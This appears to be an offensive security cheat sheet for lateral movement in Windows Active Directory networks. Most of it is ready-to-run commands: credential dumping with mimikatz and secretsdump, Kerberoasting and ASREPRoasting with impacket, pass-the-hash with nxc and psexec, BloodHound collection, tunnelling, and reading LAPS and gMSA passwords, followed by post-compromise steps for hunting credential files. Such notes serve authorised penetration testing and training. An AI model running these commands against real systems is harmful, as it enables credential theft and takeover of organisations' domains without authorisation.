Lateral Movement
1. LOTL (Living Off The Land)
nltest /dsgetdc:domain.local
whoami /groups
ipconfig /all
netstat -ano
route print
arp -a
2. Look for Credentials on the Machine
Check: LSA secrets, cached domain creds, DPAPI machine secrets, service/scheduled-task creds, browser/RDP saved creds, local admin password reuse.
Tools: mimikatz sekurlsa::logonpasswords, secretsdump (against itself), SharpDPAPI (machine-level).
Service accounts often auth automatically even for "no access" domain users, leaving creds/NTLM hashes behind.
3. Run BloodHound (SharpHound)
SharpHound.exe --CollectionMethod All --Domain yourdomain.local
Watch for: CanRDP, HasSession, GenericAll/WriteDACL, Kerberoastable/ASREPRoastable accounts, nested group access. See BloodHound Edge Risk for severity.
4. Kerberoasting / ASREPRoasting
impacket-GetUserSPNs domain.local/user:pass -request # Kerberoasting
impacket-GetNPUsers domain.local/user:pass -dc-ip <ip> # ASREPRoasting
Look for: crackable service account passwords, high-priv accounts, password reuse. Cracked service accounts often = local admin on internal hosts.
5. SMB / RDP / etc. Pivot Attempts (post-cred discovery)
nxc smb <internal-ip> -u user -p pass # try all protocols: smb, winrm, rdp
smbclient -L //internal-target -U user # check new shares
Check: admin access, RDP logon, WinRM access. If valid + reachable, proceed. If not, tunnel (step 6).
6. Pivot (Tunneling)
Use Ligolo-ng autoroute to build the tunnel, see Pivoting (Ligolo-ng).
7. Local Administrator Hash Reuse
psexec.py <localadmin>@<internal-ip>
nxc smb <internal-ip> -u Administrator -H <NTLM>
Common unless LAPS is deployed.
8. Check for Indirect Domain Privileges
whoami /groups
net user <youruser> /domain
Look for: Remote Management Users, Distributed COM Users, SQL groups, Server Operators, Backup Operators.
wmic /node:<internal-host> ...
winrs -r:<internal-host> cmd
Even if RDP blocked, WinRM might be open.
9. Scan Internals via Tunnel
nmap, NetExec, enum4linux, rpcinfo, LDAP queries, exposed SMB shares.
10. Domain Controller Access Path
Typical: creds from internal host → Kerberoast privileged svc account → ASREPRoast (rare) → misconfigured ACL (BloodHound) → password reuse → GPP passwords (legacy) → vulnerable AD CS (ESC1/ESC8) → computer object takeover (GenericWrite on computer account).
Summary Chain
- Service account password recovered from SYSTEM on external box
- Password reuse → internal machines allow local admin logon
- Kerberoastable service account → cracked → local admin on internal targets
- BloodHound reveals misconfig (GenericAll/WriteDACL/ForceChangePassword)
- Pivoting/tunneling enumerates otherwise-unreachable networks
11. After Pwning a Domain-Joined Workstation
Once you have SYSTEM/local admin on a domain-joined host, stop treating the host as the end goal. Use it to find credentials, sessions and a path to the next machine.
Reuse the local Administrator hash
nxc smb <internal-ip> -u Administrator -H '<NTLM>'
nxc winrm <internal-ip> -u Administrator -H '<NTLM>'
Try the hash against other Windows hosts, especially the next machine in the BloodHound path. Local admin password reuse is worth checking before spending time cracking a service-account ticket.
Check who has sessions
quser
qwinsta
In BloodHound, review HasSession on the compromised host and the internal servers. A privileged user's active session can be more valuable than the local Administrator account.
Check the computer account
Search for the compromised machine account (WS26$, for example) in BloodHound. Review outbound GenericAll, GenericWrite, WriteDacl, AddMember, AllowedToAct and delegation-related edges.
Look for LAPS / gMSA access
nxc ldap <DC-IP> -u <user> -p '<pass>' -M laps
nxc ldap <DC-IP> -u <user> -p '<pass>' --gmsa
Also check BloodHound for ReadLAPSPassword and ReadGMSAPassword edges.
Enumerate the next Windows host
nxc smb <internal-ip> -u <user> -p '<pass>' --shares
nxc smb <internal-ip> -u <user> -p '<pass>' -M spider_plus
Prioritise shares and files containing backup, config, cred, .bak, .ini, .xml, .ps1, .sql and connection strings. A service account described as a backup account is a good reason to check backup scripts and configs early.